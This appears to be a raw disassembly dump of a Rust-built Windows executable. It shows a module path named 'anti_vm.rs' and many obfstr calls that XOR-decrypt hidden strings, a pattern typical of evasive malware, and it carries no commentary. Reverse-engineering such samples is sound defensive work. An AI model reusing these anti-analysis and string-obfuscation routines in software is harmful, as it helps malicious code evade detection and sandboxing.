cmp rax, r8
je 0x140070e58
movzx r9d, byte [rdx + r8 + 1]
movzx r10d, byte [rdi + r8 + 1]
lea r11d, [r9 - 0x41]
cmp r11b, 0x1a
setb r11b
shl r11b, 5
lea esi, [r10 - 0x41]
cmp sil, 0x1a
setb sil
shl sil, 5
or r11b, r9b
or sil, r10b
inc r8
cmp r11b, sil
je 0x140070e10
cmp r8, r12
jb 0x140070db0
lea rax, str.bok124
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.hello_srcutils_anti_vm.rs
lea rcx, [rsp + 0x30]
call sym.core::panicking::panic_fmt::h9e181c62584cc428
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, rbx
call fcn.14021a7bc
test r15, r15
je 0x140070eb6
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, rdi
call fcn.14021a7bc
movzx eax, byte [0x1404a5170]
mov edx, 0x300
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140076051
mov rsi, rax
lea rax, [0x1403b4b43]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0xcbabb296
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h58a81380c8d1a75e
mov r13, qword [rax]
mov r12, qword [rax + 8]
mov r15, qword [rax + 0x10]
mov r14, qword [rax + 0x18]
mov ebx, dword [rax + 0x20]
movzx edi, word [rax + 0x24]
movzx ebp, byte [rax + 0x26]
movzx eax, byte [0x1404a5170]
mov edx, 0x27
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140075f0d
shl ebp, 0x10
or edi, ebp
mov r8d, edi
shr r8d, 0x10
xor r8b, 0x5a
mov ecx, edi
shr ecx, 8
xor cl, 0xcc
xor dil, 0x72
xor ebx, 0x93ff56a7
movabs rdx, 0xc42917177a822af
xor r14, rdx
movabs rdx, 0x9a90e88f27ac71a3
xor r15, rdx
movabs rdx, 0x664d0a41abb69a1b
xor r12, rdx
movabs rdx, 0x96c45ba3c25464a3
xor r13, rdx
mov qword [rax], r13
mov qword [rax + 8], r12
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], r14
mov dword [rax + 0x20], ebx
mov byte [rax + 0x24], dil
mov byte [rax + 0x25], cl
mov qword [rsp + 0xe0], rax
mov byte [rax + 0x26], r8b
lea rax, [0x1403b6dfb]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0xf415ca87
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h46aadc08b3595c4c
mov r13, qword [rax]
mov r12, qword [rax + 8]
mov r15, qword [rax + 0x10]
mov r14, qword [rax + 0x18]
mov ebx, dword [rax + 0x20]
movzx edi, word [rax + 0x24]
movzx eax, byte [0x1404a5170]
mov edx, 0x26
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140075efe
mov edx, edi
shr edx, 8
xor dl, 0xa7
xor dil, 0x35
xor ebx, 0x238dfbed
movabs rcx, 0x17dec3081e86c04
xor r14, rcx
movabs rcx, 0x2eb66d0fda3e1c33
xor r15, rcx
movabs rcx, 0x9084f101607ec986
xor r12, rcx
movabs rcx, 0xea4873578ae3559f
xor r13, rcx
mov qword [rax], r13
mov qword [rax + 8], r12
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], r14
mov dword [rax + 0x20], ebx
mov byte [rax + 0x24], dil
mov qword [rsp + 0xe8], rax
mov byte [rax + 0x25], dl
lea rax, [0x1403ba308]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0xc080b784
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h1b3be0e3af277171
mov r13, qword [rax]
mov r12, qword [rax + 8]
mov r15, qword [rax + 0x10]
mov r14, qword [rax + 0x18]
mov edi, dword [rax + 0x20]
movzx ebx, byte [rax + 0x24]
movzx eax, byte [0x1404a5170]
mov edx, 0x25
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140075f49
xor bl, 0x30
xor edi, 0xa962a801
movabs rcx, 0xfd9b20e2913b48b4
xor r14, rcx
movabs rcx, 0x486aa001eef09af6
xor r15, rcx
movabs rcx, 0xe4dcc27f55f90bde
xor r12, rcx
movabs rcx, 0x83544d62599aaf1e
xor r13, rcx
mov qword [rax], r13
mov qword [rax + 8], r12
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], r14
mov dword [rax + 0x20], edi
mov qword [rsp + 0x1c8], rax
mov byte [rax + 0x24], bl
lea rax, [0x1403bb276]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x40a05114
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::hbbe44bb901daa6d4
mov r13, qword [rax]
mov r12, qword [rax + 8]
mov r15, qword [rax + 0x10]
mov r14, qword [rax + 0x18]
mov ebx, dword [rax + 0x20]
movzx edi, word [rax + 0x24]
movzx ebp, byte [rax + 0x26]
movzx eax, byte [0x1404a5170]
mov edx, 0x27
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140075f0d
shl ebp, 0x10
or edi, ebp
mov r8d, edi
shr r8d, 0x10
xor r8b, 0x9d
mov ecx, edi
shr ecx, 8
xor cl, 0x7f
xor dil, 0x66
xor ebx, 0xb9794328
movabs rdx, 0xbb885e0cc20ff192
xor r14, rdx
movabs rdx, 0xd339573df4a23d1d
xor r15, rdx
movabs rdx, 0xddcc041a1c25fea2
xor r12, rdx
movabs rdx, 0x4fac8dea2f0f5a85
xor r13, rdx
mov qword [rax], r13
mov qword [rax + 8], r12
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], r14
mov dword [rax + 0x20], ebx
mov byte [rax + 0x24], dil
mov byte [rax + 0x25], cl
mov qword [rsp + 0x320], rax
mov byte [rax + 0x26], r8b
lea rax, [0x1403b18ff]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x7e3d232
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h5dd8d03b04cbb11e
mov r13, qword [rax]
mov r12, qword [rax + 8]
mov r15, qword [rax + 0x10]
mov r14, qword [rax + 0x18]
mov ebx, dword [rax + 0x20]
movzx edi, word [rax + 0x24]
movzx eax, byte [0x1404a5170]
mov edx, 0x26
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140075efe
mov edx, edi
shr edx, 8
xor dl, 0x7f
xor dil, 0x7a
xor ebx, 0x55ec31d1
movabs rcx, 0x615ef05bef96aa55
xor r14, rcx
movabs rcx, 0xaad7ba3d4d953c9e
xor r15, rcx
movabs rcx, 0x1a82d76985825919
xor r12, rcx
movabs rcx, 0x4b4dc7e15d52bac4
xor r13, rcx
mov qword [rax], r13
mov qword [rax + 8], r12
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], r14
mov dword [rax + 0x20], ebx
mov byte [rax + 0x24], dil
mov qword [rsp + 0x3a8], rax
mov byte [rax + 0x25], dl
lea rax, [0x1403bbbfb]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0xf0db2e31
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::hac0254338b8a0d9c
mov r12, qword [rax]
mov r15, qword [rax + 8]
mov r14, qword [rax + 0x10]
mov rbx, qword [rax + 0x18]
mov edi, dword [rax + 0x20]
movzx eax, byte [0x1404a5170]
mov edx, 0x24
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140076060
mov r13, rax
xor edi, 0x47fc9987
movabs rax, 0xfb1d5d3a94ff8005
xor rbx, rax
movabs rax, 0xf63c4b0bef5b67bd
xor r14, rax
movabs rax, 0x569e69cefd7dac77
xor r15, rax
movabs rax, 0xe553f30eb187200d
xor r12, rax
mov qword [r13], r12
mov qword [r13 + 8], r15
mov qword [r13 + 0x10], r14
mov qword [r13 + 0x18], rbx
mov dword [r13 + 0x20], edi
lea rax, [0x1403b0fae]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0xe7daa633
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::hd4ff091648a4e088
mov r12, qword [rax]
mov r15, qword [rax + 8]
mov r14, qword [rax + 0x10]
mov rbx, qword [rax + 0x18]
mov rdi, qword [rax + 0x20]
movzx ebp, word [rax + 0x28]
movzx eax, byte [0x1404a5170]
mov edx, 0x2a
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140075f1c
mov qword [rsp + 0x3a0], r13
movabs rcx, 0xc172b4fc9fa2bf58
xor rdi, rcx
movabs rcx, 0x5a1d09ca30d28865
xor rbx, rcx
movabs rcx, 0xac5424a5a6841625
xor r14, rcx
movabs rcx, 0xb19da40b9e21716d
xor r15, rcx
movabs rcx, 0x40f7d1bb974c2ef
xor r12, rcx
mov ecx, ebp
shr ecx, 8
xor cl, 0x9e
xor bpl, 0x4a
mov qword [rax], r12
mov qword [rax + 8], r15
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rdi
mov byte [rax + 0x28], bpl
mov qword [rsp + 0x398], rax
mov byte [rax + 0x29], cl
lea rax, [0x1403b2893]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0xfaf48279
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::hfca55e97cb92c1ad
mov r15, qword [rax]
mov r14, qword [rax + 8]
mov rbx, qword [rax + 0x10]
mov rdi, qword [rax + 0x18]
mov r12, qword [rax + 0x20]
movzx eax, byte [0x1404a5170]
mov edx, 0x28
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14007606f
movabs rcx, 0x712d0e07b707f604
xor rdi, rcx
movabs rcx, 0x6605eb35e331f77a
xor rbx, rcx
movabs rcx, 0x3b640d5d821b65aa
xor r14, rcx
movabs rcx, 0x968030a029c1eeaa
xor r15, rcx
movabs rcx, 0xeebc153acd5d4851
xor r12, rcx
mov qword [rax], r15
mov qword [rax + 8], r14
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rdi
mov qword [rsp + 0x1d8], rax
mov qword [rax + 0x20], r12
lea rax, [0x1403bc5c1]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x4bf4c28d
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h353a9b25715206cc
mov r13, qword [rax]
mov r12, qword [rax + 8]
mov r15, qword [rax + 0x10]
mov r14, qword [rax + 0x18]
mov ebx, dword [rax + 0x20]
movzx edi, word [rax + 0x24]
movzx eax, byte [0x1404a5170]
mov edx, 0x26
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140075efe
mov edx, edi
shr edx, 8
xor dl, 1
xor dil, 0x34
xor ebx, 0x40154386
movabs rcx, 0x3f59ea4e8e9b848b
xor r14, rcx
movabs rcx, 0x4ac12e6dc899a910
xor r15, rcx
movabs rcx, 0x8c6aa7501a71bbd5
xor r12, rcx
movabs rcx, 0x8b3c997c2eb09826
xor r13, rcx
mov qword [rax], r13
mov qword [rax + 8], r12
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], r14
mov dword [rax + 0x20], ebx
mov byte [rax + 0x24], dil
mov qword [rsp + 0x1c0], rax
mov byte [rax + 0x25], dl
lea rax, [0x1403b5049]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0xdb1150
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h306bbff7a94d17fa
mov r13, qword [rax]
mov r12, qword [rax + 8]
mov r15, qword [rax + 0x10]
mov r14, qword [rax + 0x18]
mov rbx, qword [rax + 0x20]
movzx edi, word [rax + 0x28]
movzx ebp, byte [rax + 0x2a]
movzx eax, byte [0x1404a5170]
mov edx, 0x2b
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14007607e
shl ebp, 0x10
or edi, ebp
mov r8d, edi
shr r8d, 0x10
xor r8b, 0xfc
mov ecx, edi
shr ecx, 8
xor cl, 0xbd
xor dil, 0x72
movabs rdx, 0xdad18eb1e78978d8
xor rbx, rdx
movabs rdx, 0xa9f8da8c79ee8f0b
xor r14, rdx
movabs rdx, 0x8e888df0b66d91db
xor r15, rdx
movabs rdx, 0xa4fe51d90c804c7e
xor r12, rdx
movabs rdx, 0xd3169b8d27331c73
xor r13, rdx
mov qword [rax], r13
mov qword [rax + 8], r12
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], r14
mov qword [rax + 0x20], rbx
mov byte [rax + 0x28], dil
mov byte [rax + 0x29], cl
mov qword [rsp + 0x318], rax
mov byte [rax + 0x2a], r8b
lea rax, [0x1403b671d]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x134456f4
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::hff19361eed6d7e2c
mov r13, qword [rax]
mov r12, qword [rax + 8]
mov r15, qword [rax + 0x10]
mov r14, qword [rax + 0x18]
mov ebx, dword [rax + 0x20]
movzx edi, word [rax + 0x24]
movzx eax, byte [0x1404a5170]
mov edx, 0x26
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140075efe
mov edx, edi
shr edx, 8
xor dl, 0xf6
xor dil, 0x30
xor ebx, 0xf31f3a1e
movabs rcx, 0xe0b17a10508affa
xor r14, rcx
movabs rcx, 0xbc4735c5b9a4eb07
xor r15, rcx
movabs rcx, 0x86cc9d5487d6c8b4
xor r12, rcx
movabs rcx, 0xf6e2beaf65bf72bb
xor r13, rcx
mov qword [rax], r13
mov qword [rax + 8], r12
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], r14
mov dword [rax + 0x20], ebx
mov byte [rax + 0x24], dil
mov qword [rsp + 0x310], rax
mov byte [rax + 0x25], dl
lea rax, [0x1403b5eb4]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0xcdcf5107
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h743a44b41078d8e3
mov r12, qword [rax]
mov r15, qword [rax + 8]
mov r14, qword [rax + 0x10]
mov rbx, qword [rax + 0x18]
mov rdi, qword [rax + 0x20]
movzx ebp, word [rax + 0x28]
movzx eax, byte [0x1404a5170]
mov edx, 0x2a
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140075f1c
movabs rcx, 0xd12efe69be0fd51f
xor rdi, rcx
movabs rcx, 0x94dc8810a0a1c622
xor rbx, rcx
movabs rcx, 0x8897f13a18f61332
xor r14, rcx
movabs rcx, 0x7f63fd1274df1cf2
xor r15, rcx
movabs rcx, 0x902131b97bc6d25f
xor r12, rcx
mov ecx, ebp
shr ecx, 8
xor cl, 0xfa
xor bpl, 0x18
mov qword [rax], r12
mov qword [rax + 8], r15
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rdi
mov byte [rax + 0x28], bpl
mov qword [rsp + 0x308], rax
mov byte [rax + 0x29], cl
lea rax, [0x1403b39cb]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0xfab274ad
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h651fdefe130ec47a
mov r12, qword [rax]
mov r15, qword [rax + 8]
mov r14, qword [rax + 0x10]
mov rbx, qword [rax + 0x18]
mov rdi, qword [rax + 0x20]
movzx ebp, word [rax + 0x28]
movzx eax, byte [0x1404a5170]
mov edx, 0x2a
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140075f1c
movabs rcx, 0xc50803e618097cec
xor rdi, rcx
movabs rcx, 0x8308bb5db73b2dbb
xor rbx, rcx
movabs rcx, 0x9926f519ea84ada1
xor r14, rcx
movabs rcx, 0xfb14eb28b88fa9f
xor r15, rcx
movabs rcx, 0xce51ec9e749da766
xor r12, rcx
mov ecx, ebp
shr ecx, 8
xor cl, 0x8a
xor bpl, 0xdc
mov qword [rax], r12
mov qword [rax + 8], r15
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rdi
mov byte [rax + 0x28], bpl
mov qword [rsp + 0x488], rax
mov byte [rax + 0x29], cl
lea rax, [0x1403be0b0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0xfabf9d5d
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h46f225a250db0ff5
mov rbp, qword [rax]
mov r13, qword [rax + 8]
mov r12, qword [rax + 0x10]
mov r15, qword [rax + 0x18]
mov r14, qword [rax + 0x20]
mov ebx, dword [rax + 0x28]
movzx edi, word [rax + 0x2c]
movzx eax, byte [0x1404a5170]
mov edx, 0x2e
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14007608d
mov edx, edi
shr edx, 8
xor dl, 0xa6
xor dil, 0x7e
xor ebx, 0xad997075
movabs rcx, 0x81a77ddb536b744a
xor r14, rcx
movabs rcx, 0xcc65a9a23ff31ba1
xor r15, rcx
movabs rcx, 0x8ecdb79e53f9639b
xor r12, rcx
movabs rcx, 0xc3cba768be4afae3
xor r13, rcx
movabs rcx, 0x4746e5cc40fad0b
xor rbp, rcx
mov qword [rax], rbp
mov qword [rax + 8], r13
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], r15
mov qword [rax + 0x20], r14
mov dword [rax + 0x28], ebx
mov byte [rax + 0x2c], dil
mov qword [rsp + 0x480], rax
mov byte [rax + 0x2d], dl
lea rax, [0x1403bebc2]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x9d9e6e89
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::ha66977c9ee51c867
mov r13, qword [rax]
mov r12, qword [rax + 8]
mov r15, qword [rax + 0x10]
mov r14, qword [rax + 0x18]
mov ebx, dword [rax + 0x20]
movzx edi, word [rax + 0x24]
movzx eax, byte [0x1404a5170]
mov edx, 0x26
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140075efe
mov edx, edi
shr edx, 8
xor dl, 0xfd
xor dil, 0xce
xor ebx, 0x8d7bc6de
movabs rcx, 0xc0cdfad5af67de24
xor r14, rcx
movabs rcx, 0xbd79267f2578cb9a
xor r15, rcx
movabs rcx, 0x772bb04b23ccae2f
xor r12, rcx
movabs rcx, 0xbdcff64cd23771cb
xor r13, rcx
mov qword [rax], r13
mov qword [rax + 8], r12
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], r14
mov dword [rax + 0x20], ebx
mov byte [rax + 0x24], dil
mov qword [rsp + 0x478], rax
mov byte [rax + 0x25], dl
lea rax, [0x1403b4eff]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x31501c61
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::he175a180766252e6
mov r12, qword [rax]
mov r15, qword [rax + 8]
mov r14, qword [rax + 0x10]
mov rbx, qword [rax + 0x18]
mov rdi, qword [rax + 0x20]
movzx ebp, byte [rax + 0x28]
movzx eax, byte [0x1404a5170]
mov edx, 0x29
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140075f2b
movabs rcx, 0xf465994ee14a5df4
xor rdi, rcx
movabs rcx, 0x392e0f1211b73e6f
xor rbx, rcx
movabs rcx, 0xac5981b80a4703a1
xor r14, rcx
movabs rcx, 0x136fa035f0964e3d
xor r15, rcx
movabs rcx, 0x5a40ff491252d622
xor r12, rcx
xor bpl, 0xe8
mov qword [rax], r12
mov qword [rax + 8], r15
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rdi
mov qword [rsp + 0x470], rax
mov byte [rax + 0x28], bpl
lea rax, [0x1403bb780]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x509abdf6
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h6d1a08d39e2a064c
mov r12, qword [rax]
mov r15, qword [rax + 8]
mov r14, qword [rax + 0x10]
mov rbx, qword [rax + 0x18]
mov rdi, qword [rax + 0x20]
movzx ebp, byte [rax + 0x28]
movzx eax, byte [0x1404a5170]
mov edx, 0x29
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140075f2b
movabs rcx, 0xad3b745dad227ac0
xor rdi, rcx
movabs rcx, 0x90a00a3308e06203
xor rbx, rcx
movabs rcx, 0xd7bcaf4951d793b9
xor r14, rcx
movabs rcx, 0x2266ba0ade4a1db4
xor r15, rcx
movabs rcx, 0x3dadfa461143dfda
xor r12, rcx
xor bpl, 0x25
mov qword [rax], r12
mov qword [rax + 8], r15
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rdi
mov qword [rsp + 0x468], rax
mov byte [rax + 0x28], bpl
lea rax, [0x1403b9eda]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x397c0c44
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h6dfc717a12631ea7
mov r13, qword [rax]
mov r12, qword [rax + 8]
mov r15, qword [rax + 0x10]
mov r14, qword [rax + 0x18]
mov ebx, dword [rax + 0x20]
movzx edi, word [rax + 0x24]
movzx eax, byte [0x1404a5170]
mov edx, 0x26
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140075efe
mov edx, edi
shr edx, 8
xor dl, 0xbc
xor dil, 6
xor ebx, 0xc3a5fabf
movabs rcx, 0xfef1b5704c7e3ea5
xor r14, rcx
movabs rcx, 0x63c53c25fddd206d
xor r15, rcx
movabs rcx, 0xf6c646c24941a8a8
xor r12, rcx
movabs rcx, 0x882709293ca9427a
xor r13, rcx
mov qword [rax], r13
mov qword [rax + 8], r12
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], r14
mov dword [rax + 0x20], ebx
mov byte [rax + 0x24], dil
mov qword [rsp + 0x460], rax
mov byte [rax + 0x25], dl
lea rax, [0x1403be043]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0xa7abdca5
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h48b2d6d920762f47
mov r12, qword [rax]
mov r15, qword [rax + 8]
mov r14, qword [rax + 0x10]
mov rbx, qword [rax + 0x18]
mov rdi, qword [rax + 0x20]
movzx ebp, byte [rax + 0x28]
movzx eax, byte [0x1404a5170]
mov edx, 0x29
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140075f2b
mov r13, rax
movabs rax, 0xfffdb3f3511b3ab5
xor rdi, rax
movabs rax, 0xe9b7595b7e3198a9
xor rbx, rax
movabs rax, 0xd13fdcdb34db458e
xor r14, rax
movabs rax, 0xcb437e0fb5acd47e
xor r15, rax
movabs rax, 0x70e492e2086ea814
xor r12, rax
xor bpl, 0x72
mov qword [r13], r12
mov qword [r13 + 8], r15
mov qword [r13 + 0x10], r14
mov qword [r13 + 0x18], rbx
mov qword [r13 + 0x20], rdi
mov byte [r13 + 0x28], bpl
lea rax, [0x1403bb9d7]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x8c9cde2f
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h37ff980b9dcddf66
mov r15, qword [rax]
mov r14, qword [rax + 8]
mov rbx, qword [rax + 0x10]
mov rdi, qword [rax + 0x18]
movzx eax, byte [0x1404a5170]
mov edx, 0x20
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140075f3a
mov r12, rax
movabs rax, 0x8a218e945b40ab04
xor rdi, rax
movabs rax, 0xce889599850eccf1
xor rbx, rax
movabs rax, 0xcb1efc9758e69773
xor r14, rax
movabs rax, 0x420c376327bbfb68
xor r15, rax
mov qword [r12], r15
mov qword [r12 + 8], r14
mov qword [r12 + 0x10], rbx
mov qword [r12 + 0x18], rdi
lea rax, [0x1403bab42]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0xb3e7fa57
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h60c30e4e386e3f88
mov r15, qword [rax]
mov r14, qword [rax + 8]
mov rbx, qword [rax + 0x10]
mov rdi, qword [rax + 0x18]
movzx eax, byte [0x1404a5170]
mov edx, 0x20
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140075f3a
mov qword [rsp + 0x458], r12
movabs rcx, 0x6b3518956e46c542
xor rdi, rcx
movabs rcx, 0xd75ac28754f4267a
xor rbx, rcx
movabs rcx, 0x9bf40c00c5f1b5a2
xor r14, rcx
movabs rcx, 0xaf42b5125fa5ee66
xor r15, rcx
mov qword [rax], r15
mov qword [rax + 8], r14
mov qword [rax + 0x10], rbx
mov qword [rsp + 0x450], rax
mov qword [rax + 0x18], rdi
lea rax, [0x1403b2503]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x69906ec
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h97bb19ab2cc9990a
mov r15, qword [rax]
mov r14, qword [rax + 8]
mov rbx, qword [rax + 0x10]
mov rdi, qword [rax + 0x18]
movzx ebp, byte [rax + 0x20]
movzx eax, byte [0x1404a5170]
mov edx, 0x21
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14007609c
mov qword [rsp + 0x448], r13
movabs rcx, 0x946c4222e8ec398c
xor rdi, rcx
movabs rcx, 0x971274c9a8c185d4
xor rbx, rcx
movabs rcx, 0xccb26ff2ef56867e
xor r14, rcx
movabs rcx, 0x6903721ec37519fb
xor r15, rcx
xor bpl, 0xf6
mov qword [rax], r15
mov qword [rax + 8], r14
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rdi
mov qword [rsp + 0x440], rax
mov byte [rax + 0x20], bpl
lea rax, [0x1403b3122]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0xf6a96200
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h29ccee4ae38482d9
mov r12, qword [rax]
mov r15, qword [rax + 8]
mov r14, qword [rax + 0x10]
mov ebx, dword [rax + 0x18]
movzx edi, word [rax + 0x1c]
movzx ebp, byte [rax + 0x1e]
movzx eax, byte [0x1404a5170]
mov edx, 0x1f
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x1400760ab
shl ebp, 0x10
or edi, ebp
mov r8d, edi
shr r8d, 0x10
xor r8b, 0x8a
mov ecx, edi
shr ecx, 8
xor cl, 3
xor dil, 0x8b
xor ebx, 0x7187f9b3
movabs rdx, 0xc6facc68ba29c07b
xor r14, rdx
movabs rdx, 0x616747d527461b60
xor r15, rdx
movabs rdx, 0x8871214cc044f797
xor r12, rdx
mov qword [rax], r12
mov qword [rax + 8], r15
mov qword [rax + 0x10], r14
mov dword [rax + 0x18], ebx
mov byte [rax + 0x1c], dil
mov byte [rax + 0x1d], cl
mov qword [rsp + 0x438], rax
mov byte [rax + 0x1e], r8b
lea rax, [0x1403bc947]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0xa716b618
mov edx, dword [rsp + 0x30]
